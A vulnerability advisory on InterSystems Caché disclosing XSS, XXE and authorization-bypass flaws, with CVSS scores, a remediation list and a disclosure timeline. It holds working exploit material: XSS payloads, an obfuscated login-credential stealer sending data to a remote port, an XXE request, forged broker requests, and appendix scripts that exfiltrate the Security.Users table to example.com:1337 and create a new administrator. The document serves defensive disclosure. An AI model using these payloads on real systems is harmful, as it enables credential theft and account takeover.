InterSystems Cache 2017.2.2.865.0 and 2018.1.2 Multiple Vulnerabilities

INTERSYSTEMS CACHE ADVISORY SUMMARY

InterSystems Corporation is a software systems and technology vendor for government, business, and healthcare industries. The InterSystems Caché application is a high-performance object database. The latest version at the time of this research was version 2017.2.2.865.0.

Update: Cache 2018.1.2 was released March 14, 2019 and retested. Some instances of cross-site scripting (XSS) were remediated. All other findings still exist as described in this advisory. The remaining XSS instances can be found in Appendix C of this advisory.

Impact: High & Medium Risk Levels

InterSystems Corporation is a software systems and technology vendor for government, business, and healthcare industries. It is affected by vulnerabilities that could jeopardize user data.

Affected Vendor

Vulnerabilities List:

• CROSS-SITE SCRIPTING
• XML EXTERNAL ENTITY PROCESSING
• INSUFFICIENT AUTHORIZATION CONTROLS

Solution

• Update to the latest version.
• Disable the samples application.
• Avoid using Private Pages functionality as authorization mechanism.

Cross-site Scripting

Further Details

• Vulnerability: CWE-79
• CVSS Base Score: 6.5
• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RL:O/RC:C/CR:H/IR:M/MAV:N/MAC:L/MPR:N/MUI:R/MS:U/MC:L/MI:L/MA

The InterSystems Caché application is affected by both stored and reflected cross-site scripting (XSS) that allows attackers to execute arbitrary JavaScript. The vulnerability could be exploited by creating a malicious link and enticing an InterSystems Caché user to click it. The instances of reflected XSS can be exploited by an unauthenticated user and affect any authenticated users, including administrators. The stored XSS can be exploited by a low-privilege user, affecting administrative users. For the sake of demonstration, the walkthrough below uses two payloads, one to exfiltrate the Security.Users database and one to create a new administrative user. The exploit code follows the walkthrough.

Stored Cross-site Scripting

During the creation of a new dashboard at /csp/samples/_DeepSee.UserPortal.Home.zen in the InterSystems Caché Management Portal, the new dashboard folder name is vulnerable to XSS. The code has a client-side filter blocking periods[.] and slashes [/]. To bypass the filter, the POST request made to Broker.cls can be caught and the Dashboard title changed to the following payload:

"><script+src=http://localhost/exploit.js></script>

Exploit.js contained an XSS payload that sent the contents of the Security.Users database table to the attacker’s server; the code is included in Appendix A. The title field containing the XSS payload was then stored, and the arbitrary JavaScript executed when a user navigated to the /csp/samples/_DeppSee.UI.FolderManager.zen endpoint:

The SQL query executed by the stored XSS payload returned an HTML document in the response that could be rendered to better view the SQL table contents, which included the InterSystems Caché usernames and password hashes in binary format:

Any user with permission to create dashboards can create this instance of stored XSS, which can be used to attack administrative users.

Reflected Cross-site Scripting — Authenticated

Systemic reflected XSS was present in the InterSystems Caché application at the /csp/docbook/DocBook.UI.Page.cls endpoint. The following request contains the XSS payload:

GET /csp/docbook/DocBook.UI.Page.cls?KEY=<script src=http://localhost/exploitGetAdmin.js></script> HTTP/1.1
Host: localhost:57772
…omitted for brevity…

Figure 3- JavaScript XSS payload

The JavaScript exploitGetAdmin.js contained a payload to create a new user, then set the newly created user's privilege level to the highest available; the code for this payload is included in Appendix B. The XSS payload in the KEY= parameter executed and created a new administrative user, as shown in the figure below:

A malicious user can use the reflected XSS to attack authenticated users, performing actions on their behalf.

This vulnerability was found systemically throughout the Caché application, the following locations were specific to version 2017.2.2 affecting authenticated InterSystems Caché users:

• /csp/samples/%25SOAP.WebServiceInvoke.cls
  • OP
  • CLS
    • Payload: <script>alert(1)</script>
• /csp/docbook/DocBook.UI.Page.cls
  • KEY
    • Payload: <script>alert(1)</script>
• /csp/sys/exp/UtilExpGlobalDrill.csp
  • NodeCount
  • Refreshpage
    • Payload: "><script>alert(1)</script>
• /csp/sys/exp/UtilSqlLinkContent.csp
  • NAMESPACE
  • PAGE
    • Payload: <script>alert(1)</script>
• /csp/sys/exp/UtilSysViewLog.csp
  • Refreshpage
  • $NAMESPACE
    • Payload: foo';alert(1)//bar
• /csp/bin/RunTime/Module.cxw
  • CSPSYSesc
    • Payload: javascript:alert(1)//

Reflected Cross-Site Scripting — Unauthenticated

Reflected cross-site scripting was found in the login page of InterSystems Caché. The login page reflected arbitrarily supplied URL parameters back to the user. This vulnerability was exploitable only while using Internet Explorer because of the way Internet Explorer handles URL encoding. The attack was demonstrated with a JavaScript function that sent the user’s credentials to a remote server when the login form was submitted, as shown below:

function getCreds() {
 var userName = document.forms[0].elements[0].value;
 var pass = document.forms[0].elements[1].value;
 img = new Image();
 img.src = "http://127.0.0.1:1337?" + "username=" + userName + "&" + "password=" + pass;
}

Figure 5 - JavaScript function to retrieve credentials

For the payload to work, encoding of special characters was required to avoid issues with the browser URL encoding. The payload could be inserted into any arbitrary parameter within the /csp/* URL path. The following payload was sent:

http://localhost:57772/csp/sys/UtilHome.csp?XSS=XSS"onsubmit="getCreds()"><script>eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,103,101,116,67,114,101,100,115,40,41,32,123,13,10,32,32,32,32,118,97,114,32,117,115,101,114,78,97,109,101,32,61,32,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,101,108,101,109,101,110,116,115,91,48,93,46,118,97,108,117,101,59,13,10,32,32,32,32,118,97,114,32,112,97,115,115,32,61,32,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,46,101,108,101,109,101,110,116,115,91,49,93,46,118,97,108,117,101,59,13,10,32,32,32,32,105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,13,10,32,32,32,32,105,109,103,46,115,114,99,32,61,32,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,49,51,51,55,63,34,32,43,32,34,117,115,101,114,110,97,109,101,61,34,32,43,32,117,115,101,114,78,97,109,101,32,43,32,34,38,34,32,43,32,34,112,97,115,115,119,111,114,100,61,34,32,43,32,112,97,115,115,59,13,10,125))</script>

Figure 6 - XSS payload

When the application responded, the payload was reflected in the login page, as shown in the source code below:

Once a user submitted credentials, the payload would be triggered, sending the credentials to an attacker-controlled remote server, as shown below:

This XSS affected unauthenticated users and could be exploited to steal credentials from Internet Explorer users of InterSystems Caché.

XML External Entity Processing

The InterSystems Caché application is affected by an XML external entity processing (XXE) vulnerability at /csp/samples/xmlimport.csp, which allows the processing of external XML entities. The vulnerability could be exploited by supplying arbitrary XML entities in order to leverage InterSystems Caché as an attacking proxy.

Further Details

• Vulnerability: CWE-611
• CVSS Base Score: 6.4
• CVSS Vector: 3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

The InterSystems Caché default installation included an XML demo application vulnerable to XXE. When an arbitrary XML entity is supplied to the /csp/samples/xmlimport.csp endpoint, the application processes the XML external entity, as shown in the following request:

POST /csp/samples/xmlimport.csp HTTP/1.1
Host: localhost:57772
…omitted for brevity…
xml=<strong>%0D%0A%3C%21DOCTYPE+data+PUBLIC+%22-%2F%2FB%2FA%2FEN%22+%22http%3A%2F%2F127.0.0.1%3A8989%22%3E%3CData%3E%0D%0A%3CData%3E</strong>%09%0D%0A++%3CPerson…omitted for brevity…btnSubmit=+Go+

FIGURE 9 - XXE payload sent to server

A URL-decoded payload of the above figure is shown below for readability:

…omitted for brevity…
xml=<!DOCTYPE data PUBLIC "-//B/A/EN" "http://127.0.0.1:8989"><Data>
<Data>    
  <Person>
    <SSN>806-59-6936</SSN>
    <Name>Nichols,Mark S.</Name>
…omitted for brevity…

FIGURE 10 - URL-decoded payload

The server processes the XXE payload that sent a HTTP request to the provided host and port:

The endpoint /csp/samples/xmlimport.csp is a sample page that demonstrates the XML capabilities of InterSystems Caché and is installed on all instances of InterSystems Caché. The XXE demonstrated above could make the affected installation of InterSystems Caché act as a proxy, which attackers could leverage to attack internal hosts that are on the same network as the affected InterSystems Caché instance.

Insufficient Authorization Controls

The InterSystems Caché application is affected by one instance of insufficient authorization controls that allows malicious users to bypass the protection offered by the InterSystems Caché Private Pages functionality. The vulnerability will be present on any installation of InterSystems Caché that implements the Private Pages functionality, and it can be found in the example protected page included in default installations of the software.

Further Details

• Vulnerability: CWE-284
• CVSS Base Score: 7.4
• CVSS Vector: 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

The vulnerability can be exploited by modifying the WARG_1 parameter in the request made from the Private Pages functionality with an arbitrary protected resource endpoint. In order to exploit this, an attacker would first need to obtain the name of the protected resource through other means. In return, the application would return a CSPToken that could be used to gain access to the protected resource.

To demonstrate this vulnerability in default installations, knowledge of these endpoints related to the Private Pages functionality is needed:

FIGURE 12 - Private Pages related endpoints in the /samples namespace application

The /csp/samples/private.csp endpoint requires a valid CSPToken to view it from a direct URL. If the user does not have the required authorization, this endpoint is not reachable by default by any means other than the direct link. In that case the application returns an error message, as shown below:

In normal application usage, the protectedentry.csp endpoint retrieves the protected resource, protected.csp. To achieve this, the protectedentry.csp endpoint makes a POST request to the Broker.cls endpoint, which serves as an event handler within InterSystems Caché, shown below:

POST /csp/samples/%25CSP.Broker.cls HTTP/1.1
Host: localhost:57772
…omitted for brevity…
WARGC=1&WEVENT=Pshk3nnH466l01jpo2GAlAGvdErJv5gDWeUZgtf87$yfWNJIUYWbKFZHx1QTFBsk&WARG_1=protected.csp%3FBALANCE%3D1000

FIGURE 14 - POST request to the Broker endpoint during normal application usage

This returns a valid CSPToken, which gives access to protected.csp, as shown below:

HTTP/1.1 200 OK
Date: Fri, 14 Sep 2018 02:36:11 GMT
…omitted for brevity…

protected.csp?CSPToken=cFS7Ac5mND7_bvWPKtTK0LZ38XtaeISjSQrMeDEExJgmsGPopLzoyOiW$Sbp22nK8UdC$_Y7O4WfwY7mvFFZdw--

FIGURE 15 - Response containing valid CSPToken value

In order to exploit this vulnerability, an attacker would need a valid target filename, which could be leaked or brute forced. The target filename would be passed as the value of the WARG_1 parameter, so that the application would return a CSPToken to access the attacker protected resource chosen by the attacker. In the following example, the POST request from protectedentry.csp to Broker.cls was modified so that the WARG_1 parameter contained private.csp instead of protected.csp:

POST /csp/samples/%25CSP.Broker.cls HTTP/1.1
Host: localhost:57772
…omitted for brevity…
WARGC=1&WEVENT=Pshk3nnH466l01jpo2GAlAGvdErJv5gDWeUZgtf87$yfWNJIUYWbKFZHx1QTFBsk&WARG_1=private.csp

FIGURE 16 - Request used to gain unauthorized access to private.csp

As a result, the server responded with a valid CSPToken for private.csp:

HTTP/1.1 200 OK
Date: Fri, 14 Sep 2018 02:39:10 GMT
…omitted for brevity…
00000001000050xzzfV9SVE0itRrfOFzoOeHmPL3a0ojOT0pjO
#R

#OK
private.csp?CSPToken=Y7tnrD$J_GMDx9XO$m2rnwLIF8t1RJ8IWZjVuNi2SeMj3Z2t$6U$MJgNQrjYLEZY

FIGURE 17 - Response containing a valid CSPToken for private.csp

The CSPToken could then be used to bypass the authorization controls and navigate to private.csp, as shown below:

This proof of concept was demonstrated on default endpoints within InterSystems Caché version 2017.2.2.865.0, although it was originally discovered on InterSystems Caché version 2015.2.1.705.0. The ultimate impact of this issue depends on the sensitivity of the data protected by the Private Pages functionality. For more information about Private Pages, please refer to InterSystems’ own documentation of that functionality: https://docs.intersystems.com/...

Appendix A — XSS Exploit Code to Extract Security.Users Table

An attacker can use the following payload to extract the contents of the Security.Users database and send the content to an attacker-controlled server:

onload=dumpUsers() 
//Function to dump SQL table contents, sending to remote server 
dumpUsers = async () => {
  const xhr = new XMLHttpRequest();
  xhr.onreadystatechange = async () => {
    if (xhr.readyState == 4 && xhr.status == 200) {
      document.innerHTML = xhr.responseText;
        xfil.open("POST", "http://example.com:1337");
          xfil.send(xhr.responseText, "POST", "http://example.com:1337");       
    }
  };
  xhr.open("GET", "http://localhost:57772/csp/sys/exp/%25CSP.UI.SQL.QueryResultsWindow.cls?$FRAME=Detail&$NAMESPACE=%25SYS&$ID1=SELECT+*FROM+Security.Users", true);
  xhr.send("GET", "http://example.com:1337");
        const xfil = new XMLHttpRequest();
}

FIGURE 19 - Contents of exploit.js

Appendix B — XSS Exploit Code to Create New Admin

The following payload can be used to create a new administrative user:

//Function to modify new user to have super admin privs

getSystem = async (weventS, paramS, userName) => {
  const xhr = new XMLHttpRequest();
  xhr.open("POST", "/csp/sys/sec/%25CSP.Broker.cls", true);
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhr.send("WARGC=10&WEVENT=" + weventS + "&WARG_1=54&WARG_2=AssignRoles&WARG_3=VARCHAR&WARG_4=1&WARG_5=%25CSP.UI.Portal.User%01%25ZEN.Component.vgroup%01%25ZEN.Component.pane%01%25CSP.UI.Component.UserRoles%041%011%01%042%019%01%043%0110%01%042%0153%01%044%0154%01&WARG_6=843974696%011%01%01%01%01%010%01%01System%20Administration%2CSecurity%2CUsers%2CEdit%20User%010%010%010%011%01%01Edit%20User%016%01%01" + userName + "%01%2Fcsp%2Fsys%2Fsec%2F%2525CSP.UI.Portal.Users.zen%011%01%25ZEN.SVGComponent.tabBar%2C%25CSP.UI.Portal.User%01Edit%20User%01%01There%20was%20a%20problem%20with%20the%20form.%20See%20the%20highlighted%20fields%20below.%01_CSP.UI.Portal.About.zen%01%01%011000%01%01%01%01top%01-1%01%013%01name%011%01columns%010%010%011%010%011%010%01zendiv%01%01%01page%01%01100%25%010%01%01zenHint%01%01%01%2Fcsp%2Fsys%2F%2525CSP.Portal.Home.zen%3F%24NAMESPACE%3D%2525SYS%010%010%010%01%01zenLabel%01zenLabelDisabled%01top%01%010%01" + paramS + "%01Edit%20User%0186%01%01%01%01%01%01%01%01%01%01%010%010%01%010%01%011%01%01%23(%25page.StdTitle)%23%01%011%011%01%011%01100%25%010%042521056755%019%01%01%011%01%01%01%01%01%01%01%01-1%01%010%010%010%010%01zendiv%01%01%01group%01%01%010%01%01zenHint%01%01%01zenLabel%01zenLabelDisabled%01top%01%01" + paramS + "%01%01%01%01%01%01%01%01%01%010%010%011%01%01%01%01top%011%01100%25%043306517082%0110%01%01%019%01%01%01%01%01%01%01top%01-1%01padding%3A10px%010%010%010%010%01zendiv%01%01%01group%01%01%010%01%01zenHint%01%01%01zenLabel%01zenLabelDisabled%01top%01%01" + paramS +  "%01%01%01%01%01%01%01%01%01%010%01contentPane%010%011%01%01%01%01%011%01100%25%042521056755%0153%01page_2%01%0110%01%01%01%01%01%01%01%01-1%01%010%010%010%010%01zendiv%01padding-left%3A10px%3Bpadding-top%3A20px%3B%01%01group%01%01%010%01%01zenHint%01%01%01zenLabel%01zenLabelDisabled%01top%01%01" + paramS +  "%01%01%01%01%01%01%01%01%01%010%010%011%01%01%01%01%011%01%043855861879%0154%01UserRoles%01%0153%01%01%23(%25page.PID)%23%01%01%01avaList%01%010%010%010%01zendiv%01%01%01%010%01%01zenHint%01%01%01zenLabel%01zenLabelDisabled%01%01%01%01%01%01%01%01%01%010%010%010%01selList%011%01%01%01%01UserRole%01%011%01&WARG_7=L%2CL%2CB%2CL&WARG_8=%23(%25page.PID)%23%04%25All%040%04UserRole&WARG_9=%25SYS&WARG_10=9");
}

//Function to obtain encrypted strings required to modify user roles 
getLayout = async (userName) => {
  const xhr = new XMLHttpRequest();
  xhr.onreadystatechange = async () => {
    if (xhr.readyState === 4 && xhr.status === 200) {
      document.innerHTML = xhr.responseText;

      //Pull the required wevent encrypted string Regex :/
      const response = xhr.responseText.match(/zenInstanceMethod\(object([\s\S]{1300})/);
      const regexSet1 = /cspHttpServerMethod([\s\S]{111})/
      const regexSet2 = /"((?:\\.|[^"\\])*)"/
      const modifyResponse = regexSet1.exec(response);
      const regString = regexSet2.exec(modifyResponse).shift();
      const encString = regString.replace(/['"]+/g, '')
      
      // Pulls the required encrypted string passed in the arg
      const response2 = xhr.responseText.match(/(o.layout\s=\s'[\s\S]{25})/);
      const regexSet3 = /'((?:\\.|[^'\\])*)'/
      const rString = regexSet3.exec(response2).shift();
      const eString = rString.replace(/['']+/g, '')
      
      getSystem(encString, eString, userName);
      
    }
  };
  xhr.open("GET", "/csp/sys/sec/%25CSP.UI.Portal.User.zen?PID=" + userName, true);
  xhr.send();
}

// Function to create a new user in the Cache dashboard 
newUser = async (brokerString) => {
  const xhr = new XMLHttpRequest();
  xhr.open("POST", "/csp/sys/sec/%25CSP.Broker.cls", true);
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  // Username and password to create
  const uName = "xssUser";
  const pass = "sys";
  // Sends payload to the Broker event handler
  xhr.send("WARGC=10&WEVENT=" + brokerString +"&WARG_1=%25CSP.UI.Portal.User&WARG_2=SaveData&WARG_3=HANDLE&WARG_4=1&WARG_5=%25ZEN.proxyObject%041%01-1%01&WARG_6=%25ZEN.proxyObject%01-1%01PID%05%01Name%05" + uName + "%01FullName%05%01Comment%05%01Password%05" + pass + "%01ChangePassword%050%01PasswordNeverExpires%050%01Enabled%051%01ExpirationDate%05%01AccountNeverExpires%050%01AutheTwoFactorSMS%050%01AutheTwoFactorPW%050%01HOTPKeyDisplay%050%01NameSpace%05%01Routine%05%01EmailAddress%05%01PhoneProvider%05%01PhoneNumber%05%01passwordChoice%050%01CopyUser%05&WARG_7=O&WARG_8=-1&WARG_9=%25SYS&WARG_10=12");
  getLayout(uName);
}

// Function to obtain the wevent encrypted string to be passed 
getBroker = async () => {
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = async () => {
    if (xhr.readyState === 4 && xhr.status === 200) {
      document.innerHTML = xhr.responseText;
      //Pull the required wevent encrypted string
      const response = xhr.responseText.match(/.cspHttpServerMethod*([\s\S]*),object/);
      const regex = /"((?:\\.|[^"\\])*)"/
      const regString = regex.exec(response).shift();
      const encString = regString.replace(/['"]+/g, '');
      newUser(encString);
    }
  };
  xhr.open("GET", "/csp/sys/sec/%25CSP.UI.Portal.User.zen?PID=", true);
  xhr.send();
}
 
onload=getBroker()

FIGURE 20 - Contents of exploitGetAdmin.js

Appendix C — CACHÉ Version 2018.1.2 (BUILD 309U_SU) XSS Affected Locations

The following cross-site scripting was found on Cache version 2018.1.2 (Build 309U_SU):

FIGURE 21 - XSS affected locations

Credits

• Chris Davis, Senior Security Analyst, Bishop Fox - [email protected]
• Antonio Sousa, Managing Security Associate, Bishop Fox - [email protected]
• Sam McChesney, Engagement Manager, Bishop Fox

Timeline

1. 08/31/2018: Initial discovery
2. 09/21/2018: Contact with vendor
3. 03/14/2019: Cache 2018.1.2 was released
4. 03/26/2019: Product retested
5. 03/28/2019: Contact with vendor
6. 07/24/2019: Public disclosure